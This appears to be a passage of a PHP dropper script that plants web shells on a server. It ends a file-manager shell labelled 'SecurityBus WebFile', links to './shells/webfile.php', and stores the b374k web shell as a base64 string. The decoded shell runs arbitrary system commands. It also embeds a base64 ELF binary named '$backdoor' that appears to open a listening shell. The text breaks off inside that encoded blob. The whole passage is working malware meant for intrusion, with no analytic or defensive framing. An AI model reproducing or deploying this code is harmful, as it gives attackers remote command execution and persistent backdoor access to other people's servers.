base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');\r\n\t}\r\n}\r\n\r\nfunction html_header () {\r\n\tglobal \$site_charset;\r\n\r\n\techo <<<END\r\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\r\n \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=\$site_charset\" />\r\n\r\n<title>SecurityBus WebFile</title>\r\n\r\n<style type=\"text/css\">\r\nbody { font: small sans-serif; text-align: center }\r\nimg { width: 17px; height: 13px }\r\na, a:visited { text-decoration: none; color: navy }\r\nhr { border-style: none; height: 1px; background-color: silver; color: silver }\r\n#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }\r\n#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }\r\n.listing th, .listing td { padding: 1px 3pt 0 3pt }\r\n.listing th { border: 1px solid silver }\r\n.listing td { border: 1px solid #ddd; background: white }\r\n.listing .checkbox { text-align: center }\r\n.listing .filename { text-align: left }\r\n.listing .size { text-align: right }\r\n.listing .permission_header { text-align: left }\r\n.listing .permission { font-family: monospace }\r\n.listing .owner { text-align: left }\r\n.listing .group { text-align: left }\r\n.listing .functions { text-align: left }\r\n.listing_footer td { background: #eee; border: 1px solid silver }\r\n#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }\r\n#directory { background: #eee; border: 1px solid silver }\r\n#upload { padding-top: 1em }\r\n#create { padding-bottom: 1em }\r\n.small, .small option { font-size: x-small }\r\ntextarea { border: none; background: white }\r\ntable.dialog { margin-left: auto; margin-right: auto }\r\ntd.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }\r\n#permission { margin-left: auto; margin-right: auto }\r\n#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }\r\ntd.permission_action { text-align: right }\r\n#symlink { background: #eee; border: 1px solid silver }\r\n#symlink td { text-align: left; padding: 3pt }\r\n#red_button { width: 120px; color: #400 }\r\n#green_button { width: 120px; color: #040 }\r\n#error td { background: maroon; color: white; border: 1px solid silver }\r\n#notice td { background: green; color: white; border: 1px solid silver }\r\n#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }\r\ncode { font-size: 12pt }\r\ntd { white-space: nowrap }\r\n</style>\r\n\r\n<script type=\"text/javascript\">\r\n<!--\r\nfunction activate (name) {\r\n\tif (document && document.forms[0] && document.forms[0].elements['focus']) {\r\n\t\tdocument.forms[0].elements['focus'].value = name;\r\n\t}\r\n}\r\n//-->\r\n</script>\r\n\r\n</head>\r\n<body>\r\n\r\n\r\nEND;\r\n\r\n}\r\n\r\nfunction html_footer () {\r\n\r\n\techo <<<END\r\n</body>\r\n</html>\r\nEND;\r\n\r\n}\r\n\r\nfunction notice (\$phrase) {\r\n\tglobal \$cols;\r\n\r\n\t\$args = func_get_args();\r\n\tarray_shift(\$args);\r\n\r\n\treturn '<tr id=\"notice\">\r\n\t<td colspan=\"' . \$cols . '\">' . phrase(\$phrase, \$args) . '</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\nfunction error (\$phrase) {\r\n\tglobal \$cols;\r\n\r\n\t\$args = func_get_args();\r\n\tarray_shift(\$args);\r\n\r\n\treturn '<tr id=\"error\">\r\n\t<td colspan=\"' . \$cols . '\">' . phrase(\$phrase, \$args) . '</td>\r\n</tr>\r\n';\r\n\r\n}\r\n\r\n?>\r\n");
echo "<a href='./shells/webfile.php'>Here webfile.php</a><br>";
$b374k = 'PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCiRzaF9uYW1lID0gIlNlY3VyaXR5QnVzIjsNCiRzaF9tYWludXJsID0gIiI7DQokaHRtbF9zdGFydCA9ICc8aHRtbD48aGVhZD4NCjx0aXRsZT4nLmdldGVudigiSFRUUF9IT1NUIikuJyAtICcuJHNoX25hbWUuJzwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0YWJsZSB7IGZvbnQtZmFtaWx5OnZlcmRhbmE7Zm9udC1zaXplOjlweDtjb2xvcjojQ0NDQ0NDO2JhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgfQ0KdGFibGUgeyB3aWR0aDoxMDAlOyBib3JkZXItY29sb3I6IzMzMzMzMztib3JkZXItd2lkdGg6MHB0IDFwdDsgYm9yZGVyLXN0eWxlOnNvbGlkOyB9DQp0ZCB7YmFja2dyb3VuZC1jb2xvcjogIzAwMDUwMDsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6OHB0OyBjb2xvcjojOTk5OTk5OyBib3JkZXItY29sb3I6I0ZGRkZGRjsgYm9yZGVyLXdpZHRoOjFwdCAwcHQ7IGJvcmRlci1zdHlsZTpzb2xpZDsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3BhZGRpbmc6MHB0IDNwdDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQ0KQTpMaW5rLCBBOlZpc2l0ZWQgeyBjb2xvcjogIzk5OTk5OTsJdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQpBLm5vOkxpbmssIEEubm86VmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KQTpIb3ZlciwgQTpWaXNpdGVkOkhvdmVyICwgQS5ubzpIb3ZlciwgQS5ubzpWaXNpdGVkOkhvdmVyIHsgY29sb3I6ICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQppbnB1dCxzZWxlY3Qsb3B0aW9uIHsgZm9udDo4cHQgdGFob21hO2NvbG9yOiM2NjY2NjY7bWFyZ2luOjI7Ym9yZGVyOjFweCBzb2xpZCAjNjY2NjY2OyB9DQp0ZXh0YXJlYSB7IGNvbG9yOiM2NjY2NjY7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCA7bWFyZ2luOjI7IH0NCi5mbGVmdCB7IGZsb2F0OmxlZnQ7dGV4dC1hbGlnbjpsZWZ0OyB9DQouZnJpZ2h0IHsgZmxvYXQ6cmlnaHQ7dGV4dC1hbGlnbjpyaWdodDsgfQ0KI3BhZ2ViYXIgeyBmb250OjhwdCB0YWhvbWE7cGFkZGluZzo1cHg7IGJvcmRlcjozcHggc29saWQgIzMzMzMzMzsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOyB9DQojcGFnZWJhciB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KI3BhZ2ViYXIgcCB7IGZvbnQ6OHB0IHRhaG9tYTt9DQojcGFnZWJhciBhIHsgZm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojNjY2NjY2OyB9DQojcGFnZWJhciBhOnZpc2l0ZWQgeyBjb2xvcjojMDBDRTAwOyB9DQojbWFpbm1lbnUgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KI21haW5tZW51IGEgeyB0ZXh0LWFsaWduOiBjZW50ZXI7cGFkZGluZzogMHB4IDVweCAwcHggNXB4OyB9DQojbWFpbmluZm8sLmJhcmhlYWRlciwuYmFyaGVhZGVyMiB7IHRleHQtYWxpZ246Y2VudGVyOyB9DQojbWFpbmluZm8gdGQgeyBwYWRkaW5nOjNweDsgfQ0KLmJhcmhlYWRlciB7IGZvbnQtd2VpZ2h0OmJvbGQ7cGFkZGluZzo1cHg7IH0NCi5iYXJoZWFkZXIyIHsgcGFkZGluZzo1cHg7Ym9yZGVyOjJweCBzb2xpZCAjMzMzMzMzOyB9DQouY29udGVudHMsLmV4cGxvcmVyIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCi5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KLm1haW5wYW5lbCB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlciwubWFpbnBhbmVsIHRhYmxlLHRkIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQoubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7bWFyZ2luOjA7IH0NCmlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQppbnB1dFt0eXBlPSJ0ZXh0Il0geyBwYWRkaW5nOjNweDt9DQouZnhlcnJtc2cgeyBjb2xvcjpyZWQ7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0NCiNwYWdlYmFyLCNwYWdlYmFyIHAsaDEsaDIsaDMsaDQsZm9ybSB7IG1hcmdpbjowOyB9DQojcGFnZWJhciwubWFpbnBhbmVsLGlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0KLmJhcmhlYWRlcjIsaW5wdXQsc2VsZWN0LG9wdGlvbixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IH0NCnRleHRhcmVhLC5tYWlucGFuZWwgaW5wdXQsc2VsZWN0LG9wdGlvbiB7IGJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsgfQ0KLy8gLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCiRsb2dpbiA9ICIiOyANCiRwYXNzID0gIiI7DQokbWQ1X3Bhc3MgPSAiIjsNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgDQokbG9naW5fdHh0ID0gIiI7IA0KJGFjY2Vzc2RlbmllZG1lc3MgPSAiPE1FVEEgaHR0cC1lcXVpdj1cInJlZnJlc2hcIiBjb250ZW50PVwiMDtVUkw9aHR0cDovL2hvbWUuZGlzbmV5LmdvLmNvbS9cIj48Ym9keSBiZ2NvbG9yPWJsYWNrPjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPjxmb250IGNvbG9yPWxpbWU+ZGllKCk7PC9mb250PjwvYT46IDxmb250IGNvbG9yPXJlZD5hY2Nlc3MgZGVuaWVkPC9mb250PjwvYm9keT4iOw0KJGd6aXBlbmNvZGUgPSBGQUxTRTsNCiRmaWxlc3RlYWx0aCA9IFRSVUU7IA0KJGN1cmRpciA9ICIuLyI7DQokdG1wZGlyID0gIiI7IA0KJHRtcGRpcl9sb2cgPSAiLi8iOw0KJGxvZ19lbWFpbCA9ICIiOyAgLy9meDBAZngwLm5hbWUNCiRzb3J0X2RlZmF1bHQgPSAiMGEiOyANCiRzb3J0X3NhdmUgPSBUUlVFOyANCiRzZXNzX2Nvb2tpZSA9ICJjYXByaXY4dmFycyI7IA0KJHVzZWZzYnVmZiA9IFRSVUU7IA0KJGNvcHlfdW5zZXQgPSBGQUxTRTsgDQokaGV4ZHVtcF9saW5lcyA9IDg7DQokaGV4ZHVtcF9yb3dzID0gMjQ7DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOw0KJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpIHsNCiAgJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7DQogICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7DQp9DQpmdW5jdGlvbiBnZXRfcGhwaW5pKCkgew0KICBmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpIHsNCiAgICAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogICAgcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCiAgfQ0KICBmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkgew0KICAgIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsNCiAgICBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogICAgaWYgKCR2YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsNCiAgICBpZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsNCiAgICBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgcHJpbnRfcigkdmFsdWUpOw0KICAgICAgJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgIH0NCiAgICByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOw0KICB9DQogIGlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKSB7DQogICAgJHIgPSAiIjsNCiAgICBlY2hvICI8dGFibGU+PHRyIGNsYXNzPWJhcmhlYWRlcj48dGQ+RGlyZWN0aXZlPC90ZD48dGQ+TG9jYWwgVmFsdWU8L3RkPjx0ZD5HbG9iYWwgVmFsdWU8L3RkPjwvdHI+IjsNCiAgICBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICRyIC49ICI8dHI+PHRkPiIuJGtleS4iPC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuIjwvZGl2PjwvdGQ+PHRkPjxkaXYgYWxpZ249Y2VudGVyPiIuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48L3RyPiI7DQogICAgfQ0KICAgIGVjaG8gJHI7DQogICAgZWNobyAiPC90YWJsZT4iOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGRpc3BfZHJpdmVzKCRjdXJkaXIsJHN1cmwpIHsNCiAgJGxldHRlcnMgPSAiIjsNCiAgJHYgPSBleHBsb2RlKCJcXCIsJGN1cmRpcik7DQogICR2ID0gJHZbMF07DQogIGZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHsNCiAgICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gJGxldHRlciA9PSAiQSI7DQogICAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgICBpZiAoJGJvb2wpIHsNCiAgICAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuDQogICAgICAoJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1ci4nKVwiIjoiIikuIj4gWyI7DQogICAgICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30NCiAgICAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9DQogICAgICAkbGV0dGVycyAuPSAiXTwvYT4gIjsNCiAgICB9DQogIH0NCiAgaWYgKCFlbXB0eSgkbGV0dGVycykpIHtSZXR1cm4gJGxldHRlcnM7fQ0KICBlbHNlIHtSZXR1cm4gIk5vbmUiO30NCn0NCmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpIHsNCiAgZnVuY3Rpb24gZGlzcF9mcmVlc3BhY2UoJGN1cmRydikgew0KICAgICRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRjdXJkcnYpOw0KICAgICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGN1cmRydik7DQogICAgaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9DQogICAgaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30NCiAgICBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30NCiAgICBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQ0KICAgICR1c2VkID0gJHRvdGFsLSRmcmVlOw0KICAgICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMikuIiUiOw0KICAgICRmcmVlID0gdmlld19zaXplKCRmcmVlKTsNCiAgICAkdG90YWwgPSB2aWV3X3NpemUoJHRvdGFsKTsNCiAgICByZXR1cm4gIiRmcmVlIG9mICR0b3RhbCAoJGZyZWVfcGVyY2VudCkiOw0KICB9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkgew0KICBpZihpc19jYWxsYWJsZSgicG9wZW4iKSkgew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGlmICghKCRwPXBvcGVuKCIoJGNtZCkyPiYxIiwiciIpKSkgeyByZXR1cm4gInBvcGVuIERpc2FibGVkISI7IH0NCiAgICAgIHdoaWxlICghZmVvZigkcCkpIHsNCiAgICAgICAgJGxpbmU9ZmdldHMoJHAsMTAyNCk7DQogICAgICAgICRvdXQgLj0gJGxpbmU7DQogICAgICB9DQogICAgICBwY2xvc2UoJHApOw0KICAgICAgcmV0dXJuICRvdXQ7DQogICAgfQ0KICB9IGVsc2Ugew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGdsb2JhbCAkZGlzYWJsZWZ1bmM7DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBpZiAoIWVtcHR5KCRjbWQpKSB7DQogICAgICAgIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICBleGVjKCRjbWQsJHJlc3VsdCk7DQogICAgICAgICAgJHJlc3VsdCA9IGpvaW4oIlxuIiwkcmVzdWx0KTsNCiAgICAgICAgfSBlbHNlaWYgKCgkcmVzdWx0ID0gJGNtZCkgIT09IEZBTFNFKSB7DQogICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7DQogICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2Ow0KICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjsNCiAgICAgICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpIHsNCiAgICAgICAgICAkcmVzdWx0ID0gIiI7DQogICAgICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAkcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTsgfQ0KICAgICAgICAgIHBjbG9zZSgkZnApOw0KICAgICAgICB9DQogICAgICB9DQogICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogIH0NCn0NCmZ1bmN0aW9uIGV4KCRjZmUpIHsNCiAgJHJlcyA9ICcnOw0KICBpZiAoIWVtcHR5KCRjZmUpKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQogICAgICAkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBAc3lzdGVtKCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgQHBhc3N0aHJ1KCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KICAgICAgJHJlcyA9ICIiOw0KICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgICAgQHBjbG9zZSgkZik7DQogICAgfSBlbHNlIHsgJHJlcyA9ICJFeCgpIERpc2FibGVkISI7IH0NCiAgfQ0KICByZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KICAkcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCiAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiAkcHI7IH0NCn0NCg0KJGhvc3RuYW1lX3ggPSBwaHBfdW5hbWUobik7DQokaXRzaG9tZSA9IGdldGN3ZCgpOw0KaWYgKCEkd2luKSB7DQogICRpdHNob21lID0gc3RyX3JlcGxhY2UoIi9ob21lLyIsIn4iLCRpdHNob21lKTsNCiAgJGl0c2hvbWUgPSBzdHJfcmVwbGFjZSgiL3B1YmxpY19odG1sIiwiL2NhLnBocCIsJGl0c2hvbWUpOw0KfQ0KZWxzZSB7ICRpdHNob21lID0gIiI7IH0NCiRlbnVtZXJhdGUgPSAiaHR0cDovLyIuJGhvc3RuYW1lX3guIi8iLiRpdHNob21lLiIiOw0KDQoNCiRMdmVyc2lvbiA9IHBocF91bmFtZShyKTsNCiRPU1YgPSBwaHBfdW5hbWUocyk7DQoNCg0KJGJhY2tkb29yID0gImYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBb0lVRUNEUUFBQUQ0RWdBQUFBQUFBRFFBSUFBSEFDZ0FJZ0FmQUFZQUFBQTBBQUFBTklBRUNEU0FCQWpnQUFBQTRBQUFBQVVBQUFBRUFBQUFBd0FBQUJRQkFBQVVnUVFJRklFRUNCTUFBQUFUQUFBQUJBQUFBQUVBQUFBQkFBQUFBQUFBQUFDQUJBZ0FnQVFJckFrQUFLd0pBQUFGQUFBQUFCQUFBQUVBQUFDc0NRQUFySmtFQ0t5WkJBZzBBUUFBT0FFQUFBWUFBQUFBRUFBQUFnQUFBTUFKQUFEQW1RUUl3SmtFQ01nQUFBRElBQUFBQmdBQUFBUUFBQUFFQUFBQUtBRUFBQ2lCQkFnb2dRUUlJQUFBQUNBQUFBQUVBQUFBQkFBQUFGSGxkR1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUVBQUFBTDJ4cFlpOXNaQzFzYVc1MWVDNXpieTR5QUFBRUFBQUFFQUFBQUFFQUFBQkhUbFVBQUFBQUFBSUFBQUFDQUFBQUFBQUFBQkVBQUFBVEFBQUFBQUFBQUFBQUFBQVFBQUFBRVFBQUFBQUFBQUFBQUFBQUNRQUFBQWdBQUFBRkFBQUFBd0FBQUEwQUFBQUFBQUFBQUFBQUFBOEFBQUFLQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBQkFBQUFBQUFBQUFjQUFBQUxBQUFBQUFBQUFBUUFBQUFNQUFBQURnQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNEFBQUFBQUFBQWRRRUFBQklBQUFDZ0FBQUFBQUFBQUhFQUFBQVNBQUFBTkFBQUFBQUFBQURNQUFBQUVnQUFBR29BQUFBQUFBQUFXZ0FBQUJJQUFBQk1BQUFBQUFBQUFIZ0FBQUFTQUFBQVl3QUFBQUFBQUFBNUFBQUFFZ0FBQUZnQUFBQUFBQUFBT1FBQUFCSUFBQUNPQUFBQUFBQUFBT1lBQUFBU0FBQUFPd0FBQUFBQUFBQTZBQUFBRWdBQUFGTUFBQUFBQUFBQU9RQUFBQklBQUFCMUFBQUFBQUFBQUxrQUFBQVNBQUFBZWdBQUFBQUFBQUFyQUFBQUVnQUFBRWNBQUFBQUFBQUFlQUFBQUJJQUFBQnZBQUFBQUFBQUFBNEFBQUFTQUFBQWZ3QUFBRWlKQkFnRUFBQUFFUUFPQUVBQUFBQUFBQUFBT1FBQUFCSUFBQUFCQUFBQUFBQUFBQUFBQUFBZ0FBQUFGUUFBQUFBQUFBQUFBQUFBSUFBQUFBQmZTblpmVW1WbmFYTjBaWEpEYkdGemMyVnpBRjlmWjIxdmJsOXpkR0Z5ZEY5ZkFHeHBZbU11YzI4dU5nQmxlR1ZqYkFCd1pYSnliM0lBWkhWd01nQnpiMk5yWlhRQWMyVnVaQUJoWTJObGNIUUFZbWx1WkFCelpYUnpiMk5yYjNCMEFHeHBjM1JsYmdCbWIzSnJBR2gwYjI1ekFHVjRhWFFBWVhSdmFRQmZTVTlmYzNSa2FXNWZkWE5sWkFCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmdCamJHOXpaUUJIVEVsQ1ExOHlMakFBQUFBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFRQUNBQUFBQUFBQUFBRUFBUUFrQUFBQUVBQUFBQUFBQUFBUWFXa05BQUFDQUtZQUFBQUFBQUFBaUpvRUNBWVNBQUNZbWdRSUJ3RUFBSnlhQkFnSEFnQUFvSm9FQ0FjREFBQ2ttZ1FJQndRQUFLaWFCQWdIQlFBQXJKb0VDQWNHQUFDd21nUUlCd2NBQUxTYUJBZ0hDQUFBdUpvRUNBY0pBQUM4bWdRSUJ3b0FBTUNhQkFnSEN3QUF4Sm9FQ0FjTUFBREltZ1FJQncwQUFNeWFCQWdIRGdBQTBKb0VDQWNRQUFCVmllV0Q3QWpvTVFFQUFPaURBUUFBNkZzRUFBREp3d0QvTlpDYUJBai9KWlNhQkFnQUFBQUEveVdZbWdRSWFBQUFBQURwNFAvLy8vOGxuSm9FQ0dnSUFBQUE2ZEQvLy8vL0phQ2FCQWhvRUFBQUFPbkEvLy8vL3lXa21nUUlhQmdBQUFEcHNQLy8vLzhscUpvRUNHZ2dBQUFBNmFELy8vLy9KYXlhQkFob0tBQUFBT21RLy8vLy95V3dtZ1FJYURBQUFBRHBnUC8vLy84bHRKb0VDR2c0QUFBQTZYRC8vLy8vSmJpYUJBaG9RQUFBQU9sZy8vLy8veVc4bWdRSWFFZ0FBQURwVVAvLy8vOGx3Sm9FQ0doUUFBQUE2VUQvLy8vL0pjU2FCQWhvV0FBQUFPa3cvLy8vL3lYSW1nUUlhR0FBQUFEcElQLy8vLzhsekpvRUNHaG9BQUFBNlJELy8vLy9KZENhQkFob2NBQUFBT2tBLy8vL01lMWVpZUdENVBCUVZGSm9yWWdFQ0doY2lBUUlVVlpvUUlZRUNPaGYvLy8vOUpDUVZZbmxVK2diQUFBQWdjTy9GQUFBZyt3RWk0UDgvLy8vaGNCMEF2L1FnOFFFVzEzRGl4d2t3MVdKNVlQc0NJQTk0Sm9FQ0FCMERPc2NnOEFFbzl5YUJBai8wcUhjbWdRSWl4Q0YwblhyeGdYZ21nUUlBY25EVllubGcrd0lvYnlaQkFpRndIUVN1QUFBQUFDRndIUUp4d1FrdkprRUNQL1F5Y09Ra0ZXSjVWZUQ3R1NENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRXgwWGtBUUFBQU1kRitFeUpCQWpIUkNRSUFBQUFBTWRFSkFRQkFBQUF4d1FrQWdBQUFPZ0ovLy8vaVVYd2czM3dBSGtZeHdRa2pJa0VDT2cwL3YvL3h3UWtBUUFBQU9pby92Ly9ac2RGMUFJQXgwWFlBQUFBQUl0RkRJUEFCSXNBaVFRazZKdisvLzhQdDhDSkJDVG9zUDcvLzJhSlJkYkhSQ1FRQkFBQUFJMUY1SWxFSkF6S